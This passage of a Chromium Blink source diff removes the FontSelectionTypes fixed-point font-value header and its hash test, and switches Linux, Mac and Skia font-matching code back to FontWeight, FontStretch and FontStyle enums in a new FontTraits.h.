- * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS
- * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
- * THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef FontSelectionTypes_h
-#define FontSelectionTypes_h
-
-#include "platform/PlatformExport.h"
-#include "platform/wtf/HashTableDeletedValueType.h"
-#include "platform/wtf/HashTraits.h"
-#include "platform/wtf/MathExtras.h"
-#include "platform/wtf/StdLibExtras.h"
-
-namespace blink {
-
-// Unclamped, unchecked, signed fixed-point number representing a value used for
-// font variations. Sixteen bits in total, one sign bit, two fractional bits,
-// means the smallest positive representable value is 0.25, the maximum
-// representable value is 8191.75, and the minimum representable value is -8192.
-class FontSelectionValue {
- public:
-  FontSelectionValue() = default;
-
-  // Explicit because it is lossy.
-  explicit FontSelectionValue(int x) : backing_(x * fractionalEntropy) {}
-
-  // Explicit because it is lossy.
-  explicit FontSelectionValue(float x) : backing_(x * fractionalEntropy) {}
-
-  // Explicit because it is lossy.
-  explicit FontSelectionValue(double x) : backing_(x * fractionalEntropy) {}
-
-  operator float() const {
-    // floats have 23 fractional bits, but only 14 fractional bits are
-    // necessary, so every value can be represented losslessly.
-    return backing_ / static_cast<float>(fractionalEntropy);
-  }
-
-  FontSelectionValue operator+(const FontSelectionValue other) const;
-  FontSelectionValue operator-(const FontSelectionValue other) const;
-  FontSelectionValue operator*(const FontSelectionValue other) const;
-  FontSelectionValue operator/(const FontSelectionValue other) const;
-  FontSelectionValue operator-() const;
-  bool operator==(const FontSelectionValue other) const;
-  bool operator!=(const FontSelectionValue other) const;
-  bool operator<(const FontSelectionValue other) const;
-  bool operator<=(const FontSelectionValue other) const;
-  bool operator>(const FontSelectionValue other) const;
-  bool operator>=(const FontSelectionValue other) const;
-
-  int16_t RawValue() const { return backing_; }
-
-  static const FontSelectionValue MaximumValue() {
-    DEFINE_THREAD_SAFE_STATIC_LOCAL(
-        const FontSelectionValue, maximumValue,
-        (std::numeric_limits<int16_t>::max(), RawTag::RawTag));
-    return maximumValue;
-  }
-
-  static const FontSelectionValue MinimumValue() {
-    DEFINE_THREAD_SAFE_STATIC_LOCAL(
-        const FontSelectionValue, minimumValue,
-        (std::numeric_limits<int16_t>::min(), RawTag::RawTag));
-    return minimumValue;
-  }
-
- protected:
-  enum class RawTag { RawTag };
-
-  FontSelectionValue(int16_t rawValue, RawTag) : backing_(rawValue) {}
-
- private:
-  static constexpr int fractionalEntropy = 4;
-  // TODO(drott) crbug.com/745910 - Consider making this backed by a checked
-  // arithmetic type.
-  int16_t backing_{0};
-};
-
-// Temporary types until we move from CSSPrimitiveValueMappings to
-// StyleBuilderConverter for those types.
-class FontSelectionValueStretch : public FontSelectionValue {
-  using FontSelectionValue::FontSelectionValue;
-};
-class FontSelectionValueStyle : public FontSelectionValue {
-  using FontSelectionValue::FontSelectionValue;
-};
-inline FontSelectionValue FontSelectionValue::operator+(
-    const FontSelectionValue other) const {
-  return FontSelectionValue(backing_ + other.backing_, RawTag::RawTag);
-}
-
-inline FontSelectionValue FontSelectionValue::operator-(
-    const FontSelectionValue other) const {
-  return FontSelectionValue(backing_ - other.backing_, RawTag::RawTag);
-}
-
-inline FontSelectionValue FontSelectionValue::operator*(
-    const FontSelectionValue other) const {
-  return FontSelectionValue(
-      static_cast<int32_t>(backing_) * other.backing_ / fractionalEntropy,
-      RawTag::RawTag);
-}
-
-inline FontSelectionValue FontSelectionValue::operator/(
-    const FontSelectionValue other) const {
-  return FontSelectionValue(
-      static_cast<int32_t>(backing_) / other.backing_ * fractionalEntropy,
-      RawTag::RawTag);
-}
-
-inline FontSelectionValue FontSelectionValue::operator-() const {
-  return FontSelectionValue(-backing_, RawTag::RawTag);
-}
-
-inline bool FontSelectionValue::operator==(
-    const FontSelectionValue other) const {
-  return backing_ == other.backing_;
-}
-
-inline bool FontSelectionValue::operator!=(
-    const FontSelectionValue other) const {
-  return !operator==(other);
-}
-
-inline bool FontSelectionValue::operator<(
-    const FontSelectionValue other) const {
-  return backing_ < other.backing_;
-}
-
-inline bool FontSelectionValue::operator<=(
-    const FontSelectionValue other) const {
-  return backing_ <= other.backing_;
-}
-
-inline bool FontSelectionValue::operator>(
-    const FontSelectionValue other) const {
-  return backing_ > other.backing_;
-}
-
-inline bool FontSelectionValue::operator>=(
-    const FontSelectionValue other) const {
-  return backing_ >= other.backing_;
-}
-
-static inline const FontSelectionValue ItalicThreshold() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValue, italicThreshold,
-                                  (20));
-  return italicThreshold;
-}
-
-static inline bool isItalic(FontSelectionValue fontWeight) {
-  return fontWeight >= ItalicThreshold();
-}
-
-static inline const FontSelectionValue FontSelectionZeroValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValue,
-                                  fontSelectionZeroValue, (0));
-  return fontSelectionZeroValue;
-}
-
-static inline const FontSelectionValueStyle NormalSlopeValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStyle,
-                                  normalSlopeValue, ());
-  return normalSlopeValue;
-}
-
-static inline const FontSelectionValueStyle ItalicSlopeValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStyle, italicValue,
-                                  (20));
-  return italicValue;
-}
-
-static inline const FontSelectionValue BoldThreshold() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValue, boldThreshold,
-                                  (600));
-  return boldThreshold;
-}
-
-static inline const FontSelectionValue BoldWeightValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValue, boldWeightValue,
-                                  (700));
-  return boldWeightValue;
-}
-
-static inline const FontSelectionValue NormalWeightValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValue, normalWeightValue,
-                                  (400));
-  return normalWeightValue;
-}
-
-static inline const FontSelectionValue LightWeightValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValue, lightWeightValue,
-                                  (200));
-  return lightWeightValue;
-}
-
-static inline bool isFontWeightBold(FontSelectionValue fontWeight) {
-  return fontWeight >= BoldThreshold();
-}
-
-static inline const FontSelectionValue WeightSearchThreshold() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValue,
-                                  weightSearchThreshold, (500));
-  return weightSearchThreshold;
-}
-
-static inline const FontSelectionValueStretch UltraCondensedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  ultraCondensedWidthValue, (50));
-  return ultraCondensedWidthValue;
-}
-
-static inline const FontSelectionValueStretch ExtraCondensedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  extraCondensedWidthValue, (62.5f));
-  return extraCondensedWidthValue;
-}
-
-static inline const FontSelectionValueStretch CondensedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  condensedWidthValue, (75));
-  return condensedWidthValue;
-}
-
-static inline const FontSelectionValueStretch SemiCondensedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  semiCondensedWidthValue, (87.5f));
-  return semiCondensedWidthValue;
-}
-
-static inline const FontSelectionValueStretch NormalWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  normalWidthValue, (100.0f));
-  return normalWidthValue;
-}
-
-static inline const FontSelectionValueStretch SemiExpandedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  semiExpandedWidthValue, (112.5f));
-  return semiExpandedWidthValue;
-}
-
-static inline const FontSelectionValueStretch ExpandedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  expandedWidthValue, (125));
-  return expandedWidthValue;
-}
-
-static inline const FontSelectionValueStretch ExtraExpandedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  extraExpandedWidthValue, (150));
-  return extraExpandedWidthValue;
-}
-
-static inline const FontSelectionValueStretch UltraExpandedWidthValue() {
-  DEFINE_THREAD_SAFE_STATIC_LOCAL(const FontSelectionValueStretch,
-                                  ultraExpandedWidthValue, (200));
-  return ultraExpandedWidthValue;
-}
-
-struct FontSelectionRange {
-  FontSelectionRange(FontSelectionValue single_value)
-      : minimum(single_value), maximum(single_value) {}
-
-  FontSelectionRange(FontSelectionValue minimum, FontSelectionValue maximum)
-      : minimum(minimum), maximum(maximum) {}
-
-  bool operator==(const FontSelectionRange& other) const {
-    return minimum == other.minimum && maximum == other.maximum;
-  }
-
-  bool IsValid() const { return minimum <= maximum; }
-
-  bool IsRange() const { return maximum > minimum; }
-
-  void Expand(const FontSelectionRange& other) {
-    DCHECK(other.IsValid());
-    if (!IsValid()) {
-      *this = other;
-    } else {
-      minimum = std::min(minimum, other.minimum);
-      maximum = std::max(maximum, other.maximum);
-    }
-    DCHECK(IsValid());
-  }
-
-  bool Includes(FontSelectionValue target) const {
-    return target >= minimum && target <= maximum;
-  }
-
-  uint32_t UniqueValue() const {
-    return minimum.RawValue() << 16 | maximum.RawValue();
-  }
-
-  FontSelectionValue clampToRange(FontSelectionValue selection_value) const {
-    if (selection_value < minimum)
-      return minimum;
-    if (selection_value > maximum)
-      return maximum;
-    return selection_value;
-  }
-
-  FontSelectionValue minimum{FontSelectionValue(1)};
-  FontSelectionValue maximum{FontSelectionValue(0)};
-};
-
-struct PLATFORM_EXPORT FontSelectionRequest {
-  FontSelectionRequest() = default;
-
-  FontSelectionRequest(FontSelectionValue weight,
-                       FontSelectionValue width,
-                       FontSelectionValue slope)
-      : weight(weight), width(width), slope(slope) {}
-
-  unsigned GetHash() const;
-
-  bool operator==(const FontSelectionRequest& other) const {
-    return weight == other.weight && width == other.width &&
-           slope == other.slope;
-  }
-
-  bool operator!=(const FontSelectionRequest& other) const {
-    return !operator==(other);
-  }
-
-  FontSelectionValue weight;
-  FontSelectionValue width;
-  FontSelectionValue slope;
-};
-
-// Only used for HashMaps. We don't want to put the bool into
-// FontSelectionRequest because FontSelectionRequest needs to be as small as
-// possible because it's inside every FontDescription.
-struct FontSelectionRequestKey {
-  FontSelectionRequestKey() = default;
-
-  FontSelectionRequestKey(FontSelectionRequest request) : request(request) {}
-
-  explicit FontSelectionRequestKey(WTF::HashTableDeletedValueType)
-      : isDeletedValue(true) {}
-
-  bool IsHashTableDeletedValue() const { return isDeletedValue; }
-
-  bool operator==(const FontSelectionRequestKey& other) const {
-    return request == other.request && isDeletedValue == other.isDeletedValue;
-  }
-
-  FontSelectionRequest request;
-  bool isDeletedValue{false};
-};
-
-struct PLATFORM_EXPORT FontSelectionRequestKeyHash {
-  static unsigned GetHash(const FontSelectionRequestKey&);
-
-  static bool Equal(const FontSelectionRequestKey& a,
-                    const FontSelectionRequestKey& b) {
-    return a == b;
-  }
-
-  static const bool safe_to_compare_to_empty_or_deleted = true;
-};
-
-struct FontSelectionCapabilities {
-  FontSelectionCapabilities() = default;
-
-  FontSelectionCapabilities(FontSelectionRange width,
-                            FontSelectionRange slope,
-                            FontSelectionRange weight)
-      : width(width), slope(slope), weight(weight), is_deleted_value_(false) {}
-
-  FontSelectionCapabilities(WTF::HashTableDeletedValueType)
-      : is_deleted_value_(true) {}
-
-  bool IsHashTableDeletedValue() const { return is_deleted_value_; }
-
-  void Expand(const FontSelectionCapabilities& capabilities) {
-    width.Expand(capabilities.width);
-    slope.Expand(capabilities.slope);
-    weight.Expand(capabilities.weight);
-  }
-
-  bool IsValid() const {
-    return width.IsValid() && slope.IsValid() && weight.IsValid() &&
-           !is_deleted_value_;
-  }
-
-  bool HasRange() const {
-    return width.IsRange() || slope.IsRange() || weight.IsRange();
-  }
-
-  bool operator==(const FontSelectionCapabilities& other) const {
-    return width == other.width && slope == other.slope &&
-           weight == other.weight &&
-           is_deleted_value_ == other.is_deleted_value_;
-  }
-
-  bool operator!=(const FontSelectionCapabilities& other) const {
-    return !(*this == other);
-  }
-
-  FontSelectionRange width{FontSelectionZeroValue(), FontSelectionZeroValue()};
-  FontSelectionRange slope{FontSelectionZeroValue(), FontSelectionZeroValue()};
-  FontSelectionRange weight{FontSelectionZeroValue(), FontSelectionZeroValue()};
-  bool is_deleted_value_{false};
-};
-
-struct PLATFORM_EXPORT FontSelectionCapabilitiesHash {
-  static unsigned GetHash(const FontSelectionCapabilities& key);
-
-  static bool Equal(const FontSelectionCapabilities& a,
-                    const FontSelectionCapabilities& b) {
-    return a == b;
-  }
-
-  static const bool safe_to_compare_to_empty_or_deleted = true;
-};
-
-}  // namespace blink
-
-namespace WTF {
-
-template <>
-struct DefaultHash<blink::FontSelectionCapabilities> {
-  STATIC_ONLY(DefaultHash);
-  typedef blink::FontSelectionCapabilitiesHash Hash;
-};
-
-template <>
-struct HashTraits<blink::FontSelectionCapabilities>
-    : SimpleClassHashTraits<blink::FontSelectionCapabilities> {
-  STATIC_ONLY(HashTraits);
-};
-
-}  // namespace WTF
-
-// Used for clampTo for example in StyleBuilderConverter
-template <>
-inline blink::FontSelectionValue
-defaultMinimumForClamp<blink::FontSelectionValue>() {
-  return blink::FontSelectionValue::MinimumValue();
-}
-
-template <>
-inline blink::FontSelectionValue
-defaultMaximumForClamp<blink::FontSelectionValue>() {
-  return blink::FontSelectionValue::MaximumValue();
-}
-
-#endif
diff --git a/third_party/WebKit/Source/platform/fonts/FontSelectionTypesTest.cpp b/third_party/WebKit/Source/platform/fonts/FontSelectionTypesTest.cpp
deleted file mode 100644
index f0fb0c1..0000000
--- a/third_party/WebKit/Source/platform/fonts/FontSelectionTypesTest.cpp
+++ /dev/null
@@ -1,34 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "platform/fonts/Font.h"
-
-#include "platform/fonts/FontSelectionTypes.h"
-#include "platform/wtf/HashSet.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace blink {
-
-TEST(FontSelectionTypesTest, HashCollisions) {
-  std::vector<int> weights = {100, 200, 300, 400, 500, 600, 700, 800, 900};
-  std::vector<float> slopes = {-90, -67.5, -30, -20,  -10, 0,
-                               10,  20,    30,  67.5, 90};
-  std::vector<float> widths = {50, 67.5, 75, 100, 125, 150, 167.5, 175, 200};
-
-  HashSet<unsigned> hashes;
-  for (auto weight : weights) {
-    for (auto slope : slopes) {
-      for (auto width : widths) {
-        FontSelectionRequest request = FontSelectionRequest(
-            FontSelectionValue(weight), FontSelectionValue(width),
-            FontSelectionValue(slope));
-        ASSERT_FALSE(hashes.Contains(request.GetHash()));
-        ASSERT_TRUE(hashes.insert(request.GetHash()).is_new_entry);
-      }
-    }
-  }
-  ASSERT_EQ(hashes.size(), weights.size() * slopes.size() * widths.size());
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/platform/fonts/FontTraits.h b/third_party/WebKit/Source/platform/fonts/FontTraits.h
new file mode 100644
index 0000000..7f9f118
--- /dev/null
+++ b/third_party/WebKit/Source/platform/fonts/FontTraits.h
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2008 Apple Inc. All Rights Reserved.
+ * Copyright (C) 2014 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef FontTraits_h
+#define FontTraits_h
+
+#include "platform/wtf/Allocator.h"
+#include "platform/wtf/Assertions.h"
+
+namespace blink {
+
+enum FontWeight {
+  kFontWeight100 = 0,
+  kFontWeight200 = 1,
+  kFontWeight300 = 2,
+  kFontWeight400 = 3,
+  kFontWeight500 = 4,
+  kFontWeight600 = 5,
+  kFontWeight700 = 6,
+  kFontWeight800 = 7,
+  kFontWeight900 = 8,
+  kFontWeightNormal = kFontWeight400,
+  kFontWeightBold = kFontWeight700
+};
+
+// Converts a FontWeight to its corresponding numeric value
+inline int NumericFontWeight(FontWeight weight) {
+  return (weight - kFontWeight100 + 1) * 100;
+}
+
+// Numeric values matching OS/2 & Windows Metrics usWidthClass table.
+// https://www.microsoft.com/typography/otspec/os2.htm
+enum FontStretch {
+  kFontStretchUltraCondensed = 1,
+  kFontStretchExtraCondensed = 2,
+  kFontStretchCondensed = 3,
+  kFontStretchSemiCondensed = 4,
+  kFontStretchNormal = 5,
+  kFontStretchSemiExpanded = 6,
+  kFontStretchExpanded = 7,
+  kFontStretchExtraExpanded = 8,
+  kFontStretchUltraExpanded = 9
+};
+
+enum FontStyle {
+  kFontStyleNormal = 0,
+  kFontStyleOblique = 1,
+  kFontStyleItalic = 2
+};
+
+typedef unsigned FontTraitsBitfield;
+
+struct FontTraits {
+  DISALLOW_NEW();
+  FontTraits(FontStyle style, FontWeight weight, FontStretch stretch) {
+    traits_.style_ = style;
+    traits_.weight_ = weight;
+    traits_.stretch_ = stretch;
+    traits_.filler_ = 0;
+    DCHECK_EQ(bitfield_ >> 10, 0u);
+  }
+  FontTraits(FontTraitsBitfield bitfield) : bitfield_(bitfield) {
+    DCHECK_EQ(traits_.filler_, 0u);
+    DCHECK_EQ(bitfield_ >> 10, 0u);
+  }
+  FontStyle Style() const { return static_cast<FontStyle>(traits_.style_); }
+  FontWeight Weight() const { return static_cast<FontWeight>(traits_.weight_); }
+  FontStretch Stretch() const {
+    return static_cast<FontStretch>(traits_.stretch_);
+  }
+  FontTraitsBitfield Bitfield() const { return bitfield_; }
+
+  union {
+    struct {
+      unsigned style_ : 2;
+      unsigned weight_ : 4;
+      unsigned stretch_ : 4;
+      unsigned filler_ : 22;
+    } traits_;
+    FontTraitsBitfield bitfield_;
+  };
+};
+
+}  // namespace blink
+#endif  // FontTraits_h
diff --git a/third_party/WebKit/Source/platform/fonts/linux/FontCacheLinux.cpp b/third_party/WebKit/Source/platform/fonts/linux/FontCacheLinux.cpp
index c4b9cbb5..4328823 100644
--- a/third_party/WebKit/Source/platform/fonts/linux/FontCacheLinux.cpp
+++ b/third_party/WebKit/Source/platform/fonts/linux/FontCacheLinux.cpp
@@ -117,8 +117,8 @@
 
   // First try the specified font with standard style & weight.
   if (fallback_priority != FontFallbackPriority::kEmojiEmoji &&
-      (font_description.Style() == ItalicSlopeValue() ||
-       font_description.Weight() >= BoldThreshold())) {
+      (font_description.Style() == kFontStyleItalic ||
+       font_description.Weight() >= kFontWeight600)) {
     RefPtr<SimpleFontData> font_data =
         FallbackOnStandardFontStyle(font_description, c);
     if (font_data)
@@ -142,17 +142,18 @@
   bool should_set_synthetic_bold = false;
   bool should_set_synthetic_italic = false;
   FontDescription description(font_description);
-  if (fallback_font.is_bold && description.Weight() < BoldThreshold())
-    description.SetWeight(BoldWeightValue());
-  if (!fallback_font.is_bold && description.Weight() >= BoldThreshold()) {
+  if (fallback_font.is_bold && description.Weight() < kFontWeightBold)
+    description.SetWeight(kFontWeightBold);
+  if (!fallback_font.is_bold && description.Weight() >= kFontWeightBold) {
     should_set_synthetic_bold = true;
-    description.SetWeight(NormalWeightValue());
+    description.SetWeight(kFontWeightNormal);
   }
-  if (fallback_font.is_italic && description.Style() == NormalSlopeValue())
-    description.SetStyle(ItalicSlopeValue());
-  if (!fallback_font.is_italic && (description.Style() == ItalicSlopeValue())) {
+  if (fallback_font.is_italic && description.Style() == kFontStyleNormal)
+    description.SetStyle(kFontStyleItalic);
+  if (!fallback_font.is_italic && (description.Style() == kFontStyleItalic ||
+                                   description.Style() == kFontStyleOblique)) {
     should_set_synthetic_italic = true;
-    description.SetStyle(NormalSlopeValue());
+    description.SetStyle(kFontStyleNormal);
   }
 
   FontPlatformData* substitute_platform_data =
diff --git a/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.h b/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.h
index 53588442..691dd33 100644
--- a/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.h
+++ b/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.h
@@ -29,19 +29,18 @@
 
 #include <AppKit/NSFontManager.h>
 #include "platform/PlatformExport.h"
-#include "platform/fonts/FontSelectionTypes.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/wtf/Forward.h"
 
 namespace blink {
 
 PLATFORM_EXPORT NSFont* MatchNSFontFamily(const AtomicString& desired_family,
                                           NSFontTraitMask desired_traits,
-                                          FontSelectionValue desired_weight,
+                                          FontWeight desired_weight,
                                           float size);
 
-// Converts ablink::FontSelectionValue to the nearest AppKit font weight if
-// possible, otherwise returns the default font weight.
-int ToAppKitFontWeight(FontSelectionValue);
+// Converts a blink::FontWeight to an AppKit font weight.
+int ToAppKitFontWeight(FontWeight);
 }
 
 #endif  // FontFamilyMatcherMac_h
diff --git a/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.mm b/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.mm
index 446bb0f..b1ba398 100644
--- a/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.mm
+++ b/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMac.mm
@@ -34,6 +34,7 @@
 #import <math.h>
 #include "platform/LayoutTestSupport.h"
 #include "platform/fonts/FontCache.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/mac/VersionUtilMac.h"
 #import "platform/wtf/HashSet.h"
 #import "platform/wtf/text/AtomicStringHash.h"
@@ -44,8 +45,8 @@
 
 namespace {
 
-static CGFloat toYosemiteFontWeight(blink::FontSelectionValue font_weight) {
-  static uint64_t ns_font_weights[] = {
+static CGFloat toYosemiteFontWeight(blink::FontWeight fontWeight) {
+  static uint64_t nsFontWeights[] = {
       0xbfe99999a0000000,  // NSFontWeightUltraLight
       0xbfe3333340000000,  // NSFontWeightThin
       0xbfd99999a0000000,  // NSFontWeightLight
@@ -56,15 +57,10 @@
       0x3fe1eb8520000000,  // NSFontWeightHeavy
       0x3fe3d70a40000000,  // NSFontWeightBlack
   };
-  if (font_weight <= 50 || font_weight >= 950)
-    return ns_font_weights[3];
-
-  size_t select_weight = roundf(font_weight / 100) - 1;
-  DCHECK_GE(select_weight, 0ul);
-  DCHECK_LE(select_weight, arraysize(ns_font_weights));
-  CGFloat* return_weight =
-      reinterpret_cast<CGFloat*>(&ns_font_weights[select_weight]);
-  return *return_weight;
+  DCHECK_GE(fontWeight, 0);
+  DCHECK_LE(fontWeight, 8);
+  CGFloat* weight = reinterpret_cast<CGFloat*>(&nsFontWeights[fontWeight]);
+  return *weight;
 }
 }
 
@@ -134,7 +130,7 @@
 // names of the installed fonts.
 NSFont* MatchNSFontFamily(const AtomicString& desired_family_string,
                           NSFontTraitMask desired_traits,
-                          FontSelectionValue desired_weight,
+                          FontWeight desired_weight,
                           float size) {
   DCHECK_NE(desired_family_string, FontCache::LegacySystemFontFamily());
   if (desired_family_string == FontFamilyNames::system_ui) {
@@ -146,7 +142,7 @@
     // switch is made, this should be changed to return .LucidaGrandeUI and
     // the Layout Expectations should be updated. http://crbug.com/515836.
     if (LayoutTestSupport::IsRunningLayoutTest() && IsOS10_9()) {
-      if (desired_weight >= BoldWeightValue())
+      if (desired_weight >= blink::kFontWeightBold)
         return [NSFont fontWithName:@"Lucida Grande Bold" size:size];
       else
         return [NSFont fontWithName:@"Lucida Grande" size:size];
@@ -155,7 +151,7 @@
     NSFont* font = nil;
     if (IsOS10_9()) {
       // On older OSX versions, only bold and regular are available.
-      if (desired_weight >= BoldWeightValue())
+      if (desired_weight >= blink::kFontWeightBold)
         font = [NSFont boldSystemFontOfSize:size];
       else
         font = [NSFont systemFontOfSize:size];
@@ -312,12 +308,7 @@
   return font;
 }
 
-int ToAppKitFontWeight(FontSelectionValue font_weight) {
-  float weight = font_weight;
-  if (weight <= 50 || weight >= 950)
-    return 5;
-
-  size_t select_weight = roundf(weight / 100) - 1;
+int ToAppKitFontWeight(FontWeight font_weight) {
   static int app_kit_font_weights[] = {
       2,   // FontWeight100
       3,   // FontWeight200
@@ -329,9 +320,7 @@
       10,  // FontWeight800
       12,  // FontWeight900
   };
-  DCHECK_GE(select_weight, 0ul);
-  DCHECK_LE(select_weight, arraysize(app_kit_font_weights));
-  return app_kit_font_weights[select_weight];
+  return app_kit_font_weights[font_weight];
 }
 
 }  // namespace blink
diff --git a/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMacTest.mm b/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMacTest.mm
index e9c80ac9..56c36c4 100644
--- a/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMacTest.mm
+++ b/third_party/WebKit/Source/platform/fonts/mac/FontFamilyMatcherMacTest.mm
@@ -17,7 +17,7 @@
 
 namespace blink {
 
-void TestSystemFontContainsString(FontSelectionValue desired_weight,
+void TestSystemFontContainsString(FontWeight desired_weight,
                                   NSString* substring) {
   NSFont* font =
       MatchNSFontFamily(FontFamilyNames::system_ui, 0, desired_weight, 11);
@@ -28,15 +28,15 @@
   if (!IsOS10_10())
     return;
 
-  TestSystemFontContainsString(FontSelectionValue(100), @"-UltraLight");
-  TestSystemFontContainsString(FontSelectionValue(200), @"-Thin");
-  TestSystemFontContainsString(FontSelectionValue(300), @"-Light");
-  TestSystemFontContainsString(FontSelectionValue(400), @"-Regular");
-  TestSystemFontContainsString(FontSelectionValue(500), @"-Medium");
-  TestSystemFontContainsString(FontSelectionValue(600), @"-Bold");
-  TestSystemFontContainsString(FontSelectionValue(700), @"-Bold");
-  TestSystemFontContainsString(FontSelectionValue(800), @"-Heavy");
-  TestSystemFontContainsString(FontSelectionValue(900), @"-Heavy");
+  TestSystemFontContainsString(kFontWeight100, @"-UltraLight");
+  TestSystemFontContainsString(kFontWeight200, @"-Thin");
+  TestSystemFontContainsString(kFontWeight300, @"-Light");
+  TestSystemFontContainsString(kFontWeight400, @"-Regular");
+  TestSystemFontContainsString(kFontWeight500, @"-Medium");
+  TestSystemFontContainsString(kFontWeight600, @"-Bold");
+  TestSystemFontContainsString(kFontWeight700, @"-Bold");
+  TestSystemFontContainsString(kFontWeight800, @"-Heavy");
+  TestSystemFontContainsString(kFontWeight900, @"-Heavy");
 }
 
 }  // namespace blink
diff --git a/third_party/WebKit/Source/platform/fonts/shaping/RunSegmenter.h b/third_party/WebKit/Source/platform/fonts/shaping/RunSegmenter.h
index 72775f5..613d2f0c 100644
--- a/third_party/WebKit/Source/platform/fonts/shaping/RunSegmenter.h
+++ b/third_party/WebKit/Source/platform/fonts/shaping/RunSegmenter.h
@@ -8,6 +8,7 @@
 #include <unicode/uscript.h>
 #include <memory>
 #include "platform/fonts/FontOrientation.h"
+#include "platform/fonts/FontTraits.h"
 #include "platform/fonts/OrientationIterator.h"
 #include "platform/fonts/ScriptRunIterator.h"
 #include "platform/fonts/SmallCapsIterator.h"
diff --git a/third_party/WebKit/Source/platform/fonts/skia/FontCacheSkia.cpp b/third_party/WebKit/Source/platform/fonts/skia/FontCacheSkia.cpp
index 12ebe6b..bf47c7b 100644
--- a/third_party/WebKit/Source/platform/fonts/skia/FontCacheSkia.cpp
+++ b/third_party/WebKit/Source/platform/fonts/skia/FontCacheSkia.cpp
@@ -125,8 +125,8 @@
     const FontDescription& font_description,
     UChar32 character) {
   FontDescription substitute_description(font_description);
-  substitute_description.SetStyle(NormalSlopeValue());
-  substitute_description.SetWeight(NormalWeightValue());
+  substitute_description.SetStyle(kFontStyleNormal);
+  substitute_description.SetWeight(kFontWeightNormal);
 
   FontFaceCreationParams creation_params(
       substitute_description.Family().Family());
@@ -136,10 +136,10 @@
       substitute_platform_data->FontContainsCharacter(character)) {
     FontPlatformData platform_data =
         FontPlatformData(*substitute_platform_data);
